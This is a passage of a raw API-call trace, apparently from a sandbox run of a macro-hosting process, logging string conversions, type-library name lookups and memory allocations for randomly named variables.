[0018.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75d56, cbMultiByte=10, lpWideCharStr=0xcf60718, cchWideChar=22 | out: lpWideCharStr="WmlNRQfjRd") returned 10 [0018.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75d6a, cbMultiByte=10, lpWideCharStr=0xcf608c2, cchWideChar=22 | out: lpWideCharStr="inQpYXOCiE") returned 10 [0018.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75d7e, cbMultiByte=10, lpWideCharStr=0xcf60a6c, cchWideChar=22 | out: lpWideCharStr="YompdQtPLm") returned 10 [0018.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75d92, cbMultiByte=10, lpWideCharStr=0xcf60c16, cchWideChar=22 | out: lpWideCharStr="GzvUkRXlof") returned 10 [0018.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75da6, cbMultiByte=10, lpWideCharStr=0xcf60dc0, cchWideChar=22 | out: lpWideCharStr="pwiWBFKEwj") returned 10 [0018.860] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="jijopi") returned 0x10f221 [0018.860] strcpy_s (in: _Dst=0x305060, _DstSize=0x7, _Src="jijopi" | out: _Dst="jijopi") returned 0x0 [0018.860] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=7, lpWideCharStr=0x304eb0, cchWideChar=7 | out: lpWideCharStr="jijopi") returned 7 [0018.860] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.860] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="jijopi", lHashVal=0x10f221, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.860] IUnknown:Release (This=0x7919520) returned 0x10 [0018.860] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.860] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="jijopi", lHashVal=0x10f221, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.860] IUnknown:Release (This=0x7346470) returned 0xb [0018.860] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.860] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="jijopi", lHashVal=0x10f221, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.860] IUnknown:Release (This=0x7345930) returned 0x7 [0018.860] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.860] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="jijopi", lHashVal=0x10f221, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.860] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.860] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xe) returned 0x79720e0 [0018.861] strcpy_s (in: _Dst=0x305210, _DstSize=0xe, _Src="_B_var_jijopi" | out: _Dst="_B_var_jijopi") returned 0x0 [0018.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=14, lpWideCharStr=0x305060, cchWideChar=14 | out: lpWideCharStr="_B_var_jijopi") returned 14 [0018.861] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.861] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_jijopi", lHashVal=0x106c8b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.861] IUnknown:Release (This=0x7919520) returned 0x10 [0018.861] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.861] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_jijopi", lHashVal=0x106c8b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.861] IUnknown:Release (This=0x7346470) returned 0xb [0018.861] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.861] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_jijopi", lHashVal=0x106c8b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.861] IUnknown:Release (This=0x7345930) returned 0x7 [0018.861] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.861] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_jijopi", lHashVal=0x106c8b, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.861] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.861] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.861] IUnknown:Release (This=0x7919520) returned 0x10 [0018.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75dc4, cbMultiByte=10, lpWideCharStr=0xcf63232, cchWideChar=22 | out: lpWideCharStr="DCQWLrqbwz") returned 10 [0018.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75dde, cbMultiByte=10, lpWideCharStr=0xcf6367c, cchWideChar=22 | out: lpWideCharStr="zmhKaiTptb") returned 10 [0018.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75df2, cbMultiByte=10, lpWideCharStr=0xcf63826, cchWideChar=22 | out: lpWideCharStr="cjCwBbtwCH") returned 10 [0018.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75e06, cbMultiByte=10, lpWideCharStr=0xcf639d0, cchWideChar=22 | out: lpWideCharStr="DwlkNZTlAC") returned 10 [0018.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75e1a, cbMultiByte=10, lpWideCharStr=0xcf63b7a, cchWideChar=22 | out: lpWideCharStr="rVuABdEJcG") returned 10 [0018.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75e2e, cbMultiByte=10, lpWideCharStr=0xcf63d24, cchWideChar=22 | out: lpWideCharStr="FljSNXzSUj") returned 10 [0018.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75e42, cbMultiByte=10, lpWideCharStr=0xcf63ece, cchWideChar=22 | out: lpWideCharStr="ztZqwCBwzB") returned 10 [0018.862] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf70000 [0018.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75e56, cbMultiByte=10, lpWideCharStr=0xcf700a4, cchWideChar=22 | out: lpWideCharStr="OhpqjGlBwY") returned 10 [0018.863] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="MBsZBrl") returned 0x102f86 [0018.863] strcpy_s (in: _Dst=0x305060, _DstSize=0x8, _Src="MBsZBrl" | out: _Dst="MBsZBrl") returned 0x0 [0018.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=8, lpWideCharStr=0x304eb0, cchWideChar=8 | out: lpWideCharStr="MBsZBrl") returned 8 [0018.863] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.863] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="MBsZBrl", lHashVal=0x102f86, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.863] IUnknown:Release (This=0x7919520) returned 0x10 [0018.863] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.863] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="MBsZBrl", lHashVal=0x102f86, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.863] IUnknown:Release (This=0x7346470) returned 0xb [0018.863] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.863] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="MBsZBrl", lHashVal=0x102f86, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.863] IUnknown:Release (This=0x7345930) returned 0x7 [0018.863] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.863] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="MBsZBrl", lHashVal=0x102f86, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.863] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.863] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x79720e0 [0018.863] strcpy_s (in: _Dst=0x305210, _DstSize=0xf, _Src="_B_var_MBsZBrl" | out: _Dst="_B_var_MBsZBrl") returned 0x0 [0018.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=15, lpWideCharStr=0x305060, cchWideChar=15 | out: lpWideCharStr="_B_var_MBsZBrl") returned 15 [0018.863] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.863] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_MBsZBrl", lHashVal=0x102389, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.863] IUnknown:Release (This=0x7919520) returned 0x10 [0018.863] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.864] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_MBsZBrl", lHashVal=0x102389, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.864] IUnknown:Release (This=0x7346470) returned 0xb [0018.864] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.864] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_MBsZBrl", lHashVal=0x102389, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.864] IUnknown:Release (This=0x7345930) returned 0x7 [0018.864] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.864] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_MBsZBrl", lHashVal=0x102389, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.864] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.864] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.864] IUnknown:Release (This=0x7919520) returned 0x10 [0018.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75e74, cbMultiByte=14, lpWideCharStr=0xcf72516, cchWideChar=30 | out: lpWideCharStr="bzqoSWsdQ uWw") returned 14 [0018.864] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="JJCkwGYC") returned 0x10ebef [0018.864] strcpy_s (in: _Dst=0x305060, _DstSize=0x9, _Src="JJCkwGYC" | out: _Dst="JJCkwGYC") returned 0x0 [0018.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=9, lpWideCharStr=0x304eb0, cchWideChar=9 | out: lpWideCharStr="JJCkwGYC") returned 9 [0018.864] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.864] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="JJCkwGYC", lHashVal=0x10ebef, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.864] IUnknown:Release (This=0x7919520) returned 0x10 [0018.864] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.864] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="JJCkwGYC", lHashVal=0x10ebef, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.864] IUnknown:Release (This=0x7346470) returned 0xb [0018.864] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.864] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="JJCkwGYC", lHashVal=0x10ebef, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.864] IUnknown:Release (This=0x7345930) returned 0x7 [0018.864] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.864] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="JJCkwGYC", lHashVal=0x10ebef, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.864] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.864] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x79720e0 [0018.864] strcpy_s (in: _Dst=0x305210, _DstSize=0x10, _Src="_B_var_JJCkwGYC" | out: _Dst="_B_var_JJCkwGYC") returned 0x0 [0018.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=16, lpWideCharStr=0x305060, cchWideChar=16 | out: lpWideCharStr="_B_var_JJCkwGYC") returned 16 [0018.864] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.864] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_JJCkwGYC", lHashVal=0x10c378, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.864] IUnknown:Release (This=0x7919520) returned 0x10 [0018.864] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.864] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_JJCkwGYC", lHashVal=0x10c378, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.864] IUnknown:Release (This=0x7346470) returned 0xb [0018.864] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.864] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_JJCkwGYC", lHashVal=0x10c378, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.864] IUnknown:Release (This=0x7345930) returned 0x7 [0018.864] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.864] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_JJCkwGYC", lHashVal=0x10c378, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.865] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.865] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.865] IUnknown:Release (This=0x7919520) returned 0x10 [0018.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75e9c, cbMultiByte=10, lpWideCharStr=0xcf73250, cchWideChar=22 | out: lpWideCharStr="HkhotizwkA") returned 10 [0018.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75eb6, cbMultiByte=10, lpWideCharStr=0xcf7369a, cchWideChar=22 | out: lpWideCharStr="WPXfXisvFG") returned 10 [0018.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75eca, cbMultiByte=10, lpWideCharStr=0xcf73844, cchWideChar=22 | out: lpWideCharStr="zcNCOcGPoY") returned 10 [0018.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75ede, cbMultiByte=10, lpWideCharStr=0xcf739ee, cchWideChar=22 | out: lpWideCharStr="GpSiiWSGbC") returned 10 [0018.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75ef2, cbMultiByte=10, lpWideCharStr=0xcf73b98, cchWideChar=22 | out: lpWideCharStr="SaBnIZYDzS") returned 10 [0018.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75f06, cbMultiByte=10, lpWideCharStr=0xcf73d42, cchWideChar=22 | out: lpWideCharStr="MOzqjiWfZQ") returned 10 [0018.865] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75f1a, cbMultiByte=10, lpWideCharStr=0xcf73eec, cchWideChar=22 | out: lpWideCharStr="bjHLuhzsAB") returned 10 [0018.865] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf80000 [0018.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75f2e, cbMultiByte=10, lpWideCharStr=0xcf800a4, cchWideChar=22 | out: lpWideCharStr="QlUCoYbZtp") returned 10 [0018.867] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mawspilWTMS") returned 0x10ea1d [0018.867] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="mawspilWTMS" | out: _Dst="mawspilWTMS") returned 0x0 [0018.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="mawspilWTMS") returned 12 [0018.867] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.867] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="mawspilWTMS", lHashVal=0x10ea1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.867] IUnknown:Release (This=0x7919520) returned 0x10 [0018.867] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.867] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="mawspilWTMS", lHashVal=0x10ea1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.867] IUnknown:Release (This=0x7346470) returned 0xb [0018.867] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.867] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="mawspilWTMS", lHashVal=0x10ea1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.867] IUnknown:Release (This=0x7345930) returned 0x7 [0018.867] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.867] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="mawspilWTMS", lHashVal=0x10ea1d, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.867] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.867] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.867] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_mawspilWTMS" | out: _Dst="_B_var_mawspilWTMS") returned 0x0 [0018.867] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_mawspilWTMS") returned 19 [0018.867] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.867] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_mawspilWTMS", lHashVal=0x10db7f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.867] IUnknown:Release (This=0x7919520) returned 0x10 [0018.867] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.867] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_mawspilWTMS", lHashVal=0x10db7f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.867] IUnknown:Release (This=0x7346470) returned 0xb [0018.867] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.867] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_mawspilWTMS", lHashVal=0x10db7f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.867] IUnknown:Release (This=0x7345930) returned 0x7 [0018.867] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.867] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_mawspilWTMS", lHashVal=0x10db7f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.867] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.867] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.868] IUnknown:Release (This=0x7919520) returned 0x10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75f4c, cbMultiByte=10, lpWideCharStr=0xcf82516, cchWideChar=22 | out: lpWideCharStr="XkUvCSQTXp") returned 10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75f66, cbMultiByte=10, lpWideCharStr=0xcf82960, cchWideChar=22 | out: lpWideCharStr="ZARQEzvDEz") returned 10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75f7a, cbMultiByte=10, lpWideCharStr=0xcf82b0a, cchWideChar=22 | out: lpWideCharStr="cHMbrYwpiG") returned 10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75f8e, cbMultiByte=10, lpWideCharStr=0xcf82cb4, cchWideChar=22 | out: lpWideCharStr="lzVwMNZdoi") returned 10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75fa2, cbMultiByte=10, lpWideCharStr=0xcf82e5e, cchWideChar=22 | out: lpWideCharStr="liZHbNQYlm") returned 10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75fb6, cbMultiByte=10, lpWideCharStr=0xcf83008, cchWideChar=22 | out: lpWideCharStr="KizzwPXtEd") returned 10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75fca, cbMultiByte=10, lpWideCharStr=0xcf831b2, cchWideChar=22 | out: lpWideCharStr="WakQEbiVEq") returned 10 [0018.868] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75fde, cbMultiByte=10, lpWideCharStr=0xcf8335c, cchWideChar=22 | out: lpWideCharStr="YSPaNuhFzd") returned 10 [0018.869] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcf90000 [0018.870] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="cmjRpjqshZO") returned 0x1087f8 [0018.870] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="cmjRpjqshZO" | out: _Dst="cmjRpjqshZO") returned 0x0 [0018.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="cmjRpjqshZO") returned 12 [0018.870] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.870] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="cmjRpjqshZO", lHashVal=0x1087f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.870] IUnknown:Release (This=0x7919520) returned 0x10 [0018.870] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.870] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="cmjRpjqshZO", lHashVal=0x1087f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.870] IUnknown:Release (This=0x7346470) returned 0xb [0018.870] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.870] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="cmjRpjqshZO", lHashVal=0x1087f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.870] IUnknown:Release (This=0x7345930) returned 0x7 [0018.870] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.870] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="cmjRpjqshZO", lHashVal=0x1087f8, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0018.870] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.870] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0018.870] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_cmjRpjqshZO" | out: _Dst="_B_var_cmjRpjqshZO") returned 0x0 [0018.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=19, lpWideCharStr=0x305060, cchWideChar=19 | out: lpWideCharStr="_B_var_cmjRpjqshZO") returned 19 [0018.870] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.870] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_cmjRpjqshZO", lHashVal=0x10795a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.870] IUnknown:Release (This=0x7919520) returned 0x10 [0018.870] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.870] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_cmjRpjqshZO", lHashVal=0x10795a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.870] IUnknown:Release (This=0x7346470) returned 0xb [0018.870] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.870] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_cmjRpjqshZO", lHashVal=0x10795a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.870] IUnknown:Release (This=0x7345930) returned 0x7 [0018.870] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.870] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_cmjRpjqshZO", lHashVal=0x10795a, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0018.870] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.871] IUnknown:AddRef (This=0x7919520) returned 0x11 [0018.871] IUnknown:Release (This=0x7919520) returned 0x10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb75ffc, cbMultiByte=10, lpWideCharStr=0xcf917dc, cchWideChar=22 | out: lpWideCharStr="zNDhFKQtfI") returned 10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76016, cbMultiByte=10, lpWideCharStr=0xcf91c26, cchWideChar=22 | out: lpWideCharStr="wNFQPzQWtc") returned 10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7602a, cbMultiByte=10, lpWideCharStr=0xcf91dd0, cchWideChar=22 | out: lpWideCharStr="GuQJOoiAcS") returned 10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7603e, cbMultiByte=10, lpWideCharStr=0xcf91f7a, cchWideChar=22 | out: lpWideCharStr="mpONEXaItD") returned 10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76052, cbMultiByte=10, lpWideCharStr=0xcf92124, cchWideChar=22 | out: lpWideCharStr="ItSfMaCYla") returned 10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb76066, cbMultiByte=10, lpWideCharStr=0xcf922ce, cchWideChar=22 | out: lpWideCharStr="LDTROEztSQ") returned 10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7607a, cbMultiByte=10, lpWideCharStr=0xcf92478, cchWideChar=22 | out: lpWideCharStr="bPQNWHzsMs") returned 10 [0018.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7608e, cbMultiByte=10, lpWideCharStr=0xcf92622, cchWideChar=22 | out: lpWideCharStr="XIdpUMckzo") returned 10 [0018.872] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcfa0000 [0018.873] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="LulLmdRaw") returned 0x10b785 [0018.873] strcpy_s (in: 